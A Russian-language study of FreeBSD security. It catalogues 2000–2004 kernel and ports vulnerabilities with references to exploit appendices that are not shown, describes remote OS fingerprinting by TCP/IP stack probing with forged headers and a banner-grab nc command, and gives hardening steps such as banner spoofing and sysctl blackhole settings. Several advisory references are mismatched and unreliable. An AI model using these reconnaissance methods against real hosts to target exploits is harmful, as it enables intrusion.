Локальный пользовательский процесс запущенный с привилегиями суперпользователя, но работающий в jail среде, может послать сообщение через маршрутизирующий сокет, чтобы изменить внутреннюю таблицу маршрутизации. Согласно сообщению, ядро не в состоянии проверить попытку изменения таблицы маршрутизации исходящую из не jail процессов.

Затронутые продукты: FreeBSD 4.1 - 4.10
Оригинал: FreeBSD-SA-04:12.jailroute.asc
Приложение 106

dos в FreeBSD 5.1 execve

Опубликованно: 28.06.2004
Источник: Buqtrack
Тип: local
Опасность: 5
Описание: Обнаружена уязвимость в FreeBSD execve(). Локальный атакующий может вызвать отказ в обслуживании системы.
Локальный атакующий может с помощью специально сформированного вызова функции execve() вызвать отказ в обслуживании системы.
Затронутые продукты: FreeBSD 5.1
Оригинал: FreeBSD local DoS
Приложение 59 + эксплоит

Уязвимое место в FreeBSD ядре 4.x и 5.x в Linux binary

Опубликованно: 03.07.2004
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Уязвимость в FreeBSD ядре в Linux binary compatibility режиме позволяет локальному пользователю получить поднятые привилегии или вызвать условия отказа в обслуживании.
Ошибка обнаружена в обработке некоторых вызовов Linux систем в binary compatibility mode. В результате, локальный пользователь может получить неавторизованный доступ к произвольным местоположениям памяти.
Локальный пользователь может читать или перезаписывать части памяти ядра, что позволяет получить чувствительную инфомацию или получить поднятые привилегии на системе. Локальный пользователь может также вызвать панику ядра.
Затронутые продукты: FreeBSD 4.10 , 5.2 и все более ранние
Оригинал: FreeBSD-SA-04:15.syscons
Приложение 67

Уязвимое место в FreeBSD syscons 5.x

Опубликованно: 04.10.2004
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Уязвимость обнаружена в FreeBSD в syscons. Локальный пользователь может просмотреть части памяти ядра.
syscons CONS_SCRSHOT ioctl(2) не достаточно проверяет значение данных, представленных пользователем. Локальный пользователь может представить специально обработанные данные, типа отрицательных координат или больших координат, чтобы эксплуатировать обнаруженный недостаток. Уязвимость может эксплуатировать локальный пользователь на физической консоли или пользователь с привилегиями открывать /dev/ttyv* устройство.
Затронутые продукты: FreeBSD 5.0-5.3
Оригинал: FreeBSD-SA-04:15.syscons
Приложение 66

Раскрытие содержания памяти ядра в FreeBSD procfs/linprocfs

Опубликованно: 01.12.2004
Источник: SECUNIA
Тип: local
Опасность: 5
Описание: Уязвимость, обнаруженная в FreeBSD, позволяет локальному пользователю получить доступ к чувствительной информации или вызвать отказ в обслуживании.
Уязвимость связанна с ошибкой в "/proc/curproc/cmdline" файловой системы procfs и "/proc/self/cmdline" файловой системы linprocfs при чтении вектора параметра из адресного пространства процесса. В результате возможно раскрыть части памяти ядра или аварийно завершить работу уязвимой системы.
Затронутые продукты: FreeBSD 4.10 5.3 и все более ранние
Оригинал: [SA13352] FreeBSD procfs/linprocfs Process Argument Vector Handling Vulnerability
FreeBSD-SA-04:17.procfs
Приложение 101


Часть 3. уязвимые места в портах(ports) FreeBSD


WuFTPD remote root FreeBSd 3.4 4.0 5.0

Опубликованно: 23.06.2000
Источник: Securiteam
Тип: remote
Опасность: 9
Описание: Новая уязвимость в сервисе WuFTPD, позволяет удаленному злоумышленнику получить привилегии суперпользователя в системе. Эксплоит пытается создать специальную директорию используя команду MKD, а потом поменять текущую FTP директорию на неё используя команду CWD и вызываякомманду SITE EXEC в ней. Для успешной атаки достаточно анонимного доступа.
Затронутые продукты: FreeBSD 3.4 4.0 5.0 с установленным wu-ftp 2.6.0
Оригинал: WuFTPD remote root
Exploit: WuFTPD remote root
Приложение 55

Переполнение буфера в mutt ports FreeBSD 4.4

Опубликованно: 04.01.2002
Источник: SECURITEAM
Тип: remote
Описание: Злоумышленник может отправить email письмо со специально составленным адресом в любом из заголовков письма уязвимой системе. Когда жертва прочитает письмо используя программу mutt и обработает email адрес, возможно переполнение буфера и в результате выполнение произвольного кода.
Затронутые продукты: FreeBSD 4.4
Оригинал: FreeBSD-SA-02:04.mutt.asc
Приложение 42

Обход аутентификации в mod_auth_pgsql FreeBSD 4.4

Опубликованно: 04.01.2002
Источник: FreeBSD
Тип: remote
Описание: Уязвимое место - удаленный пользователь может вставить произвольный SQL код в свое имя во время идентификации, приводит к нескольким вариантам использования этого. В частности злоумышленник может заставить mod_auth_pgsql использовать известные хеши паролей во время проверки пользователя, что позволит ему аутентифицироваться как любой из пользователей и получить соответствующие права.
Затронутые продукты: FreeBSD 4.4
Оригинал: FreeBSD-SA-02:03
Приложение 44

Уязвимость в sudo-1.6.4.1 и все более ранние

Опубликованно: 16.1.2002
Источник: FreeBSD
Тип: local
Опасность: 5
Описание: Сервис sudo версии до 1.6.4.1 содержит уязвимость, которую можно использовать для локального повышения привилегий до прав суперпользователя. Если пользователь который не авторизован как системный администратор( перечисленные в файле ‘sudoers’) пытается использовать sudo, сервис посылает тревожное сообщение email. Когда он делает это, он вызывает почтовый сервис с привилегией суперпользователя с большинством его параметров окружения. Если почтовая система подвержена влиянию переменных окружения, то злоумышленник может получить привилегии суперпользователя.
Как минимум одна почтовая система (postfix) подвержена этой уязвимости.
Затронутые продукты: sudo-1.6.4.1 и более ранние в Freebsd 3.5 - 4.4
Оригинал: FreeBSD-SA-04:12.jailroute
Приложение 107

Удаленное выполнение кода в rsync FreeBSD 4.4

Опубликованно: 06.02.2002
Источник: FreeBSD
Тип: remote
Опасность: 8
Описание: Удаленный злоумышленник может заставить rsync записать NULL байт в свой стек. Это может быть использовано для выполнения произвольного кода с привилегиями процесса rsync. Эта уязвимость скорее может использоваться против систем, на которых сервис rsync запущен в серверном режиме, хотя возможет вариант аналогичного воздействия и на rsync клиентов.
Затронутые продукты: FreeBSD 4.4 с установленным rsync2.5.1
Оригинал: FreeBSD-SA-02:10.rsync
Приложение 49

Уязвимость в ucd-snmp/net-snmp FreeBSd 4.4

Опубликованно: 12.02.2002
Источник: FreeBSD
Тип: remote
Опасность: 8
Описание: Эта уязвимость может использоваться злоумышленником для выполнения произвольного кода SNMP агентом с привилегиями суперпользователя. Злонамеренные агенты могут ответить на запрос специально сконструированным ответом, который приведет к выполнению произвольного кода клиентами.
Затронутые продукты: FreeBSd 4.4 c Net-SNMP 4.2.3 и ранние
Оригинал: FreeBSD-SA-02:11.snmp
Exploit: UCD-snmp-4.0.1-5 Remote Buffer Overflow exploit
Приложение 52

Множественные уязвимости в squid в FreeBSD 4.5

Опубликованно: 21.02.2002
Источник: FreeBSD
Тип: remote
Опасность: 6
Описание: 1) Злоумышленник с возможность посылать пакеты через Squid сервису SNMP может заставить Squid исчерпать ресурсы памяти и выйти из строя. ( В FreeBSD сервис SNMP не включен по умолчанию).
2) Авторизованный пользователь прокси сервиса squid может послать специально спроектированный ftp:// запрос, который приведет к выходу из строя процесса squid. Также возможно выполнение произвольного кода с привилегиями squid.
3) Неавторизованные пользователи могут исчерпать ресурсы используя HTCP (который не включен по умолчанию в FreeBSD).

Затронутые продукты: FreeBSD 4.5 с установленным squid 2.4_8 и предыдущие
Оригинал: FreeBSD-SA-02:10.rsync
Exploit: DoS Xpl0it for Squid stable 2.4.x
Приложение 50

Обход идентификации в pam-pgsql FreeBSD 4.4

Опубликованно: 12.03.2002
Источник: FreeBSD
Тип: remote
Описание: Пользователь взаимодействующий с использующим PAM сервисом может вставить произвольный SQL код в поля для имени пользователя или пароля, во время аутентификации или во время смены пароля, что приводит к нескольким вариантам эксплуатации. Во всех версиях pam_pgsql вплоть до 0.5.2, злоумышленник может может добавлять или изменять записи пользователей. В дополнение в версиях pam-pgsql вплоть до 0.3 злоумышленник может заставить pam-pqsql полностью обойти проверку пароля при аутентификации, что позволяет заходить от имени любого пользователя и получить авторизованный доступ к сервисам использующим PAM. Так как к PAM приложениям относятся сервисы login и sshd – возможны как удаленные так и локальные атаки.
Затронутые продукты: FreeBSD 4.4
Оригинал: FreeBSD-SA-02:14
Приложение 45

Уязвимость форматной строки в cyrus-sasl FreeBSD 4.5

Опубликованно: 12.03.2002
Источник: FreeBSD
Тип: remote
Опасность: 8
Описание: Злоумышленник может заставить приложение, использующее cyrus-sasl выполнить, произвольный код с привилегиями процесса. Пока нет и звестных эксплоитов для данной уязвимости.
Затронутые продукты:
Оригинал: FreeBSD-SA-02:12.squid
Приложение 51

Переполнение буфера в squid при обработке DNS запросов FreeBSD 4.5

Опубликованно: 26.03.2002
Источник: FreeBSD
Тип: remote
Опасность: 5
Описание: Злонамеренный DNS сервер (или злоумышленник, подделывающий DNS сервер) может ответить на DNS запрос специально сконструированным ответом, который вызовет переполнение буфера. Это приводит к выходу из строя squid процесса.
Затронутые продукты: FreeBSD 4.5 с squid 2.4_9 и предыдущие
Оригинал: FreeBSD-SA-02:19.squid
Приложение 48

Сервис openssh имеет удаленно уязвимое место в FreeBSD 4.5 и предыдущих

Опубликованно: 15.07.2002
Источник: FreeBSD
Тип: remote
Опасность: 8
Описание: Удаленный злоумышленник может использовать измененный SSH клиент для того чтобы послать специально спроектированный ответ SSH2_MSG_USERAUTH_INFO_RESPONSE серверу, который приведет к получению полномочий суперпользователя на этой системе.
Затронутые продукты: openssh 3.2.3 и более ранние в Freebsd 4.5
Оригинал: FreeBSD-SA-02:31.openssh
Эксплоит: proof of concept openssh 2.9 - 3.3.1
Приложение 119

Удаленная уязвимость в CVS для FreeBSD 4.7 5.0

Опубликованно: 04.02.2003
Источник: FreeBSD
Тип: remote
Опасность: 8
Описание: Злоумышленник может использовать уязвимое место в double-free() для того чтобы обойти проверку права записи. В комбинации с утилитами update-prog/checkin-prog злоумышленник может выполнить произвольные команды с привилегиями CVS сервиса. Такая атака наименее опасна, когда CVS сервис в режиме ‘pserver’ c правами ‘только для чтения’.
Затронутые продукты: FreeBSD 4.7 5.0 и все предыдущие
Оригинал: FreeBSD-SA-03:01.cvs
Приложение 47

Переполнение буфера в заголовках Sendmail FreeBSD 4.8

Опубликованно: 03.03.2003
Источник: FreeBSD
Тип: remote
Описание: Удаленный злоумышленник может создать специально спроектированное письмо которое заставит sendmail выполнить произвольный код с привилегиями сервиса sendmail, обычно суперпользователя. Злонамеренное сообщение должно быть обработано (что и вызывает уязвимость) MTA sendmail инициализации, передачи или доставки. Использование этой уязвимости достаточно сложно, но возможно.
Затронутые продукты: FreeBSD 4.8 и предыдущие
Оригинал: FreeBSD-SA-03:04.sendmail
Exploit: sendmail 8.8.4, freebsd, mime 7to8, remote
Приложение 46

Переаолнение буфера в Samba 2.2.8 позволяет удаленно получить права суперпользователя

Опубликованно: 08.04.2003
Источник: Securiteam
Тип: remote
Опасность: 9
Описание: Samba – это сервис который доступ к файлам и принтерам для клиентов SMB/CIFS. Переполнение буфера в сервисе Samba позволяет злоумышленнику выполнение произвольного кода с привилегиями суперпользователя.
Затронутые продукты: FreeBSD 4.6.2 и другие с samba 2.2.8
Оригинал: Buffer Overflow in Samba allows remote root compromise
Exploit: Remote BSD Samba call_trans2open i386 Buffer Overflow Exploit
Приложение 54

Переполнение буфера в upclient в FreeBSD 4.8

Опубликованно: 30.05.2003
Источник: Buqtrack
Тип: local
Описание: Переполнение буфера обнаружено в UpClient. Локальный пользователь может получить поднятые привилегии на системе.
Сообщается, что на FreeBSD системах, '/usr/ports/misc/upclient' файл устанавливается по умолчанию с set group id (setgid) 'kmem' group привилегиями. Локальный пользователь может вызвать upclient с параметром командной строки '-p' и специально обработанным значением, чтобы вызвать переполнение буфера.
Затронутые продукты: UpClient 5.0b7 и предыдущие на FreeBSD 4.8 и более ранних
Оригинал: NuxAcid#002 - Buffer Overflow in UpClient
Приложение 94 + Эксплоит

Уязвимое место в sendmail DNS FreeBSD 4.6 4.8

Опубликованно: 26.08.2003
Источник: FreeBSD
Тип: local
Описание:Вызов функции free() с неинициализированным указателем может привести порожденный sendmail процесс к выходу из строя. Также возможно злоумышленник сможет повлиять на значение этого указателя и привести к освобождению произвольного участка памяти. Это может привести к возможности провести атаку.
Затронутые продукты: FreeBSD 4.6-4.8 с установленным sendmail (8.12.0 - 8.12.8)
Оригинал: FreeBSD-SA-03:11.sendmail
Эксплоит: Local exploit for the sendmail vuln in 8.12.9 and below.
Приложение 74

OpenSSL vulnerabilities in ASN.1 parsing FreeBSD 4.8 5.1

Опубликованно: 03.10.2003
Источник: FreeBSD
Тип: remote
Опасность: 8
Описание: Удаленный злоумышленник может создать специальное сообщение, закодированное в ASN.1 которое приведет к отказу приложения, использующего OpenSSL или возможно к выполнению произвольного кода с привилегиями приложения.
Уязвимы только те приложения, которые используют форматы ANS.1 и X.509 OpenSSL. Приложения, которые используют OpenSSL частично, не подвержены уязвимости. (Apache+mod_ssl подвержены, а OpenSSH не подвержена).
Затронутые продукты: FreeBSD 4.8 5.1 и предыдущие
Оригинал: FreeBSD-SA-03:18.openssl
Exploit: apache + openssl 0.9
Приложение 40

Bind8 negative cache poison attack FreeBSD 4.9 5.1

Опубликованно: 28.11.2003
Источник: FreeBSD
Тип: remote
Опасность: 5
Описание: Злоумышленник может послать поддельное DNS сообщение, направленное на уязвимый сервер, и заставит сервис имен (name server) сохранить в кэш-е отрицательный ответ для некоторого доменного имени. Соответственно сервис имен ответит отрицательно на обычные запросы к этому доменному имени, что в результате может привести к отказу в обслуживании для приложений использующих DNS.
Затронутые продукты: FreeBSD 4.9 5.1 и предыдущие
Оригинал: FreeBSD-SA-03:19.bind
Приложение 37

Denial-of-service vulnerability in OpenSSL FreeBSD 4.9 5.2

Опубликованно: 17.03.2004
Источник: FreeBSD
Тип: remote
Описание: Удаленный злоумышленник может выполнить специально созданное SSL/TSL соединение с приложениями использующими OpenSSL, вызвать указатель на пустое место и привести приложение к отказу. Исходя из специфики сервиса, это может привести к успешному отказу в обслуживании.
Затронутые продукты: FreeBSD 4.9 5.2 и предыдущие
Оригинал: FreeBSD-SA-04:05.openssl
Exploit: apache + openssl 0.9
Приложение39

Удаленное переполнение буфера кучи heimdal kadmind в FreeBSD 4.9 5.2

Опубликованно: 05.05.2004
Источник: FreeBSD
Тип: remote
Описание: Удаленный злоумышленник может послать специально сформированное сообщение сервису k5admind, произвести отказ в обслуживании сервиса или возможно выполнение произвольного кода.
Затронутые продукты: FreeBSD 4.9 5.1
Оригинал: FreeBSD-SA-04:09.kadmind
Приложение 41

Courier-IMAP Remote Format String Vulnerability FreeBSD 4.10

Опубликованно: 19.07.2004
Источник: IDEFENSE
Тип: remote
Опасность: 9
Описание: Удаленная уязвимость форматной строки в сервисе Courier-IMAP позволяет злоумышленнику выполнять произвольный код.
Точнее уязвимость обнаружена в функции auth_debug() описанной в authlib/debug.c
Затронутые продукты: Courier IMAP up to version 3.0.2
Оригинал: Courier-IMAP Remote Format String Vulnerability
Exploit: courier-imap <= 3.0.2-r1 Remote Format String Vulnerability
Приложение 53

Уязвимое место в CVS in FreeBSD 4.10 5.2

Опубликованно: 19.09.2004
Источник: FreeBSD
Тип: remote
Опасность: серьезная
Описание: CVS сервер подвержен нескольким уязвимостям. Они различаются по степени опасности: это раскрытие важной информации, отказ в обслуживании, или выполнение произвольного кода. В особых ситуациях, где атакующий может как-то менять содержимое конфигурационных файлов CVS, возможны и другие атаки.
Затронутые продукты: FreeBSD 4.10 5.2 и предыдущие
Оригинал: FreeBSD-SA-04:14.cvs
CVS Undocumented Flag Information Disclosure Vulnerability
More CVS remote vulnerabilities
CAN-2004-0416
Exploit: cvs remote root
Приложение 38

4. Определение версии ОС и сервисов FreeBSD


Как видно из предыдущей части, наличие угроз, и степень их опасности зависит от версии операционной системы или от версии сервисов предоставляемых системой. Таким образом, от возможности качественного определения версии ОС зависит вероятность успешных атак.

4.1 Методы определение версии ОС


Классические методы определения операционной системы удаленного хоста.
Одним из наиболее эффективных методов остается сбор баннеров открытых на системе сервисов. Помимо баннеров сервисы иногда предоставляют дополнительную возможность для определения версии ОС.
Так, например ftp-сервис может позволить выполнение команды
SYST, которая выдает версию операционной системы. К web-серверу можно обратится с командой echo 'GET / HTTP/1.0\n' | nc usu.ru 80 | grep '^Server:'

Метод опроса стека TCP/IP удаленной системы.
FIN-исследование
На открытый порт удаленной системы посылается FIN-пакет (TCP-пакет на завершение соединения) или любой другой пакет без флагов SYN и ACK. В соответствии с RFC 793 сервер должен ответить на такой пакет RST-пакетом, однако некоторые ОС типа Windows, BSDI, CISCO, HP/UX, MVS и IRIX не посылают ничего в ответ. Разные версии FreeBSD отвечают по разному. (В RFC 793 находится Основная спецификация TCP.)
Исследование поля Window TCP-пакета
Анализируя принятые от удаленного сервера TCP-пакеты, рассмотрим поле Window в их заголовках, поскольку значение этого поля является своеобразной константой, характеризующей ОС. В некоторых случаях для однозначного определения версии ОС достаточно извлечь значение поля Window в TCP-заголовке принятого от сервера пакета.
Исследование поля ACK в TCP-пакете
Рекомендацией RFC 793 определено стандартное изменение поля ACK в TCP-пакетах при установлении соединения, передаче данных и закрытии соединения. Однако в нестандартных ситуациях различные ОС по-разному устанавливают значение этого поля.
Исследование проводится следующим образом. На закрытый TCP-порт хост отправляет FIN|PSH|URG-пакет с известным значением ISN в поле ISS. Большинство ОС скопируют значение ISN, прибывшее в ISS, в поле ACK ответа. Однако FreeBSD отвечает с ISN+1.
Исследование формата ICMP-сообщений
Для снижения общей нагрузки на сеть рекомендациями было установлено, что дейтаграмма с ICMP-сообщением об ошибке должна иметь меньший размер, чем дейтаграмма с ICMP-сообщением, вызвавшая ошибку. Так, в качестве ICMP-сообщения "порт недостижим" (Port Unreachable - PU) практически все ОС генерируют дейтаграмму, представляющую собой необходимый IP-заголовок и 8 байт данных, которые и являются непосредственно ICMP-сообщением. ОС Solaris формирует ICMP-сообщение немного большего размера, а Linux - еще больше, чем Solaris. ОС FreBSD формирует сообщения стандартного размера.
Исследование эха в ICMP-сообщениях
Согласно стандартам в ICMP-сообщении об ошибке должна присутствовать часть дейтаграммы, вызвавшей эту ошибку. Эта часть состоит из IP-заголовка дейтаграммы и первых 64-х бит данных дейтаграммы, и называется "эхом" дейтаграммы.
Некоторые ОС используют IP-заголовок прибывшей дейтаграммы в качестве "рабочего пространства" на начальном этапе ее обработки. Это приводит к искажению IP-заголовка, и дейтаграмма с искаженным заголовком отправляется как эхо ICMP-сообщения.
Различные ОС по-разному искажают заголовок дейтаграммы. Например, ОС AIX и BSDI в IP-заголовке эха возвращают значение поля TotalLength на 20 байт больше первоначального значения исходной дейтаграммы. Некоторые версии ОС FreeBSD стирают поле ID в эхо-IP заголовке.
Не смотря на то, что поле "контрольная сумма" IP-заголовка так или иначе изменяется всвязи с изменением параметра TTL, некоторые версии ОС FreeBSD отправляют в эхо-дейтаграмме несоответствующую либо нулевую контрольную сумму. То же самое происходит и с контрольной суммой в UDP-пакете.
В ICMP-сообщении, наряду с уже упомянутыми признаками, можно проанализировать поле Type Of Service (Тип сервиса, TOS). Подавляющее большинство ОС как и ОС FreeBSD устанавливают поле TOS=0.
Исследование флага DontFragment в IP-заголовке
Многие ОС в определенных ситуациях не используют фрагментацию пакетов, и поэтому устанавливают флаг DontFragment (DF) в IP-заголовке отправляемой (нефрагментированной) дейтаграммы. Это повышает производительность ОС при работе в сети в связи с уменьшением времени обработки передаваемых пакетов. Различные версии ОС FreeBSD по разному устанавливают этот флаг.

Для определения версии операционной системы выполним следующее:
Будем осуществлять 7 проверок реализации стека TCP. Каждый из 7 пакетов отсылаемых нами отличается от остальных набором флагов. В таблице ниже приведены принципы, на которые опирается метод идентификации. Для успешной работы требуется один открытый и один закрытый порт.
   +-----------------------------------------------------+
   | SEND           | INFO                               |
   |-----------------------------------------------------|
   |                |                                    |
   |  SYN           |     SYN пакет на открытый порт     |
   |                |                                    |
   |  ----          |    NULL пакет на открытый порт     |
   |                |                                    |
   |SYN+FIN+URG+PSH |SYN|FIN|URG|PSH пакет на открытый порт|
   |                |                                    |
   |  ACK           |     пакет на открытый порт         |
   |                |                                    |
   |  #SYN          |     SYN на закрытый порт           |
   |                |                                    |
   |  #ACK          |     ACK на закрытый порт           |
   |                |                                    |
   |  #FIN+PSH+URG  |     FIN|PSH|URG на закрытый порт   |
   |                |                                    |
   |  #UDP          |     UDP packet на закрытый порт    |
   +-----------------------------------------------------+

Подмена заголовков
Чтобы сузить диапазон ОС, которые потенциально могут удовлетворять критериям идентификации, будем посылать пакет(SYN, SYN|ACK, FIN,...), содержащий специальным образом измененную информацию в IP и TCP заголовках, и в том числе дополнительную информацию в зарезервированных TCP флагах. В нашем примере это будут соответственно флаги XXX и YYY. Эти флаги, как правило, не изменяют статус пакета и противоречат остальным данным TCP заголовка и могут использоваться в совокупности с ними.
Ниже приведена схема пакета, содержащего поддельные данные с IP и TCP заголовках.
В зависимости от используемого типа файла "отпечатков", эти значения можно менять по своему усмотрению.
   +-------------------+
   | Forged IP Header  |
   |------------------------------------------+
   | header length     |   5                  |
   | ip version        |   4 (IPv4)           |
   | tos               |   0                  |
   | total length      |   40                 |
   | offset            |   0                  |
   | id                |   10000 + {src-port} |
   | ttl               |   255                |
   | source            |   {src-addr}         |
   | destination       |   {dest-addr}        |
   | ip checksum       |   variable           |
   | protocol          |   tcp                |
   +------------------------------------------+

   
   +-------------------+
   | Forged TCP Header |
   |------------------------------------------+
   | source port       |   {src-port}         |
   | destination port  |   {dest-port}        |
   | seq               |   variable           |
   | ack               |   0                  |
   | ( x2_offset       |   0x50 (80) )        |
   | x2 (unused)       |   0 unless x2_offset |
   | offset            |   5 unless x2_offset |
   | flags             |   variable           |
   | tcp checksum      |   variable           |
   | window            |   0x1234 (4660)      |
   | urgent pointer    |   0                  |
   +------------------------------------------+

Подмена данных в IP и TCP заголовках имеет очень важное значение для повышения точности проверок TCP флагов. Ниже приведен пример полного сканирования системы FreeBSD 3.4 : (T1-Т7 порядок проверок):
   
 T1 - SYN
 +------------+                SYN                   +-------------------+
 |            | -----------------------------------> |                   |
 |   Source   |                                      |    Destination    |
 |            | <----------------------------------- |                   |
 +------------+              SYN|ACK                 +-------------------+ 
                               |
                    +-------------------------+
                    | Packet Information:     |
                    |-------------------------|
                    |  dont fragment: Y       |
                    |  window: 0x402E  		  |
                    |  ack: seq+1             |
                    |  reply: SYN|ACK         |
                    +-------------------------+
                    |    T1:1:0x402E:S++:SA   |
                    +-------------------------+
  
 T2 - NULL

  +------------+               NULL                   +-------------------+
  |            | -----------------------------------> |                   |
  |   Source   |                                      |    Destination    |
  |            | <----------------------------------- |                   |
  +------------+               no reply               +-------------------+
                                 |
                     +-------------------------+
                     | Packet Information:     |
                     |-------------------------|
                     |                         |
                     |  dont fragment: - (none)|
                     |  window: - (none)  	   |
                     |  ack: - (none)          |
                     |  reply: - (none)        |
                     +-------------------------+
                     |        T2:-:-:-:-       |
                     +-------------------------+    

  T3 - SYN|FIN|URG|PSH

 +------------+          SYN|FIN|URG|PSH             +-------------------+
 |            | -----------------------------------> |                   |
 |   Source   |                                      |    Destination    |
 |            | <----------------------------------- |                   |
 +------------+              SYN|ACK                 +-------------------+ 
                               |
                    +-------------------------+
                    | Packet Information:     |
                    |-------------------------|
                    |  dont fragment: Y       |
                    |  window: 0x402E  		  |
                    |  ack: seq+1             |
                    |  reply: SYN|ACK         |
                    +-------------------------+
                    |    T1:1:0x402E:S++:SA   |
                    +-------------------------+   

 T4 - ACK

  +------------+               ACK                    +-------------------+
  |            | -----------------------------------> |                   |
  |   Source   |                                      |    Destination    |
  |            | <----------------------------------- |                   |
  +------------+                RST                   +-------------------+
                                 |
                     +-------------------------+
                     | Packet Information:     |
                     |-------------------------|
                     |  dont fragment: N       |
                     |  window: 0              |
                     |  ack: 0	               |
                     |  reply: RST             |
                     +-------------------------+
                     |    T4:0:0:0:R           |
                     +-------------------------+  

 T5 - #SYN
 +------------+               #SYN                   +-------------------+
 |            | -----------------------------------> |                   |
 |   Source   |                                      |    Destination    |
 |            | <----------------------------------- |                   |
 +------------+               RST|ACK                +-------------------+
                                 |
                     +-------------------------+
                     | Packet Information:     |
                     |-------------------------|
                     |  dont fragment: N       |
                     |  window: 0              |
                     |  ack: seq+1             |
                     |  reply: RST|ACK         |
                     +-------------------------+
                     |    T5:0:0:S++:AR        |
                     +-------------------------+            

 T6 - #ACK

 +------------+                #ACK                  +-------------------+
 |            | -----------------------------------> |                   |
 |   Source   |                                      |    Destination    |
 |            | <----------------------------------- |                   |
 +------------+                 RST                  +-------------------+
                                 |
                     +-------------------------+
                     | Packet Information:     |
                     |-------------------------|
                     |  dont fragment: N       |
                     |  window: 0              |
                     |  ack: 0	               |
                     |  reply: RST             |
                     +-------------------------+
                     |    T6:0:0:0:R           |
                     +-------------------------+     

 T7 - #FIN|PSH|URG

 +------------+            #FIN|PSH|URG               +-------------------+
 |            | -----------------------------------> |                   |
 |   Source   |                                      |    Destination    |
 |            | <----------------------------------- |                   |
 +------------+               RST|ACK                +-------------------+
                                 |
                     +-------------------------+
                     | Packet Information:     |
                     |-------------------------|
                     |  dont fragment: N       |
                     |  window: 0              |
                     |  ack: seq               |
                     |  reply: RST|ACK         |
                     +-------------------------+
                     |    T7:0:0:S:AR          |
                     +-------------------------+ 

После того как мы провели все семь тестов, можно заняться поиском совпадений полученных данных с данными в базе "отпечатков".
   
T1:1:402E:S++:AS
T2:-:-:-:-
T3:1:402E:S++:AS
T4:0:0:O:R
T5:0:0:S++:AR
T6:0:0:O:R
T7:0:0:S:AR
Подходящее совпадение: FreeBSD 3.4

Производя все эти 7 тестов и подменяя IP и TCP заголовки в результате мы получаем достаточно точные данные "отпечатков" стека TCP удаленного хоста. Различные версии ОС по разному реагируют на такие пакеты и чем больше проводится тестов, тем точнее получается результат идентификации.


Программа для определения версии ОС FreeBSD.
Основываясь на вышеописанном методе опроса TCP стека, мной написана программа позволяющая удаленно определить версию ОС FreeBSD.
Эта программа написана на языке Perl, которая использует библиотеку Net-RawIP-0.1. Так как эта библиотека написана для операционных систем семейства UNIX (таких как ОС FreeBSD), поэтому программа требует для работы соответствующую операционную систему.
Обращаться к программе неоходимо так:
perl freefingerl.pl -i -d -l
где - IP-адрес сервера который мы проверяем.
- сетевой интерфейс локальной машины с которого мы отправляем пакеты.
- IP-адрес локальной машины.

На выходе программа возвращает результаты восьми тестов по которым можно определить версию ОС FreeBSD выбрав подходящее значение из базы.

Программа находится тут

4.3 Методы определения версии сервисов и портированных программ FreeBSD



В первую очередь сюда относится сбор баннеров предоставляемых сервисами при подключении к ним.

Кроме этого для большинство сервисов используют свои протоколы управления/передачи. Например SMTP, Telnet, HTTP, Ftp.
Например есть метод идентификации версии почтового сервера основаный на том, что в rfc, описывающим протокол (RFC 821), приведены только коды команд, посему, послав некоторое число smtp-команд, мы получим разные варианты ответов на них, с разными значениями кодов и их описаниями.

Для тогоже SMTP протокола есть метод исследования параметров ID в письме идещем от сервера. Как оказалось различные версии почтовых серверов выдают разные серии ID.
Для протокола HTTP можно можно использовать метод исследования с помощью контрольных запросов серверу, по ответам которых можно различить версию WEB-сервера.

4.3 Парирование определения версии ОС и сервисов FreeBSD


4.3.1 Для защиты от класических методов определения версии сервисов и ОС необходимо изменить соответствующие конфигурационные файлы, где прописанно какие баннеры выдает сервис.
Например:
Для web-сервера APACHE перед компиляцией в src/include/httpd.h находим строки:
	#define SERVER_BASEPRODUCT  "Apache"
	#define SERVER_BASEREVISION "X.X.X"

Вместо него напишем (выдаем за ОС Windows + IIS)
	#define SERVER_BASEPRODUCT  "Microsoft-IIS"
	#define SERVER_BASEREVISION "5.0"

Дополнительно проверим, что в http.conf есть:  
	ServerSignature Off 
 		(IIS не ставит подпись в рапортах об ошибках)
	ServerTokens Min 
 		(Для того чтобы выдавать только ту информацию которую мы изменили)

Для ftp-сервера FTPD перед компиляцией в файле ftpd.c находим:
	static char version[] = "Version 6.00LS";
меняем, к примеру, на 
	"Version 5.0"
	
далее,
	reply(220, "%s FTP server (%s) ready.", hostname, version);
Меняем на
	reply(220, "%s Microsoft FTP Service (%s).", hostname, version);

В файле ftpcmd.y :
	| SYST check_login CRLF
		{
			if ($2)
	#ifdef unix
	#ifdef BSD
			reply(215, "UNIX Type: L%d Version: BSD-%d",
				NBBY, BSD);
	#else /* BSD */
			reply(215, "UNIX Type: L%d", NBBY);
	#endif /* BSD */
	#else /* unix */
			reply(215, "UNKNOWN Type: L%d", NBBY);
	#endif /* unix */
		}

Меняем на 
	| SYST check_login CRLF
		{
			if ($2)
	reply(215, "Windows_NT version 5.0",
		}


Теперь можно поменять приветствие
строку 
	"Guest login ok, send your email address as password."
преобразовать в:
	"Anonymous access allowed, send identity (e-mail name) as password."

В ftp сервере ProFTPd - достаточно добавить опцию 
	ServerIdent off
Для того чтобы отключить вывод баннеров.
4.3.2 Для защиты от методов опроса стека TCP/IP для определения версии сервисов и ОС FreeBSD позволяет поменять большинство параметров стека TCP/IP, но при этом необходимо понимать что такие изменения могут отрицательно сказатся на производительности системы.
Параметр TTL
Чтобы поменять TTL с 64 на 128 можно сделать следующее:
# echo "net.inet.ip.ttl=128" >> /etc/sysctl.conf
Реакция на пакеты SYN+FIN
Чтобы ОС FreeBSD не отвечала на такие пакеты, несмотря на рекомендации RFC, добавим
опцию в конфигурации ядра
	options TCP_DROP_SYNFIN
а в /etc/rc.conf соответственно:
	tcp_drop_synfin="YES"
Ответы RST при получении пакетов на закрытый порт Чтобы ОС FreeBSD никогда не отвечала пакетами RST, несмотря на рекомендации RFC, добавим
опцию в конфигурации ядра
	options TCP_RESTRICT_RST
а в /etc/rc.conf соответственно:
	tcp_retrict_rst="YES"

В современных версиях ОС FreeBSD эти параметры необходимо устанавливать в /etc/sysctl.conf
	sysctl -w net.inet.tcp.blackhole=[0 | 1 | 2]
		0 - обычная реакция по RFC
		1 - отбрасывается SYN пакет пришедший на закрытый порт
		2 - отбрасываются без ответа все пакеты пришедшие на закрытый порт
	sysctl -w net.inet.udp.blackhole=[0 | 1]
		0 - при получении пакета на закрытый порт отвечает ICMP port unreachable
		1 - отбрасывает пакет и не отвечает

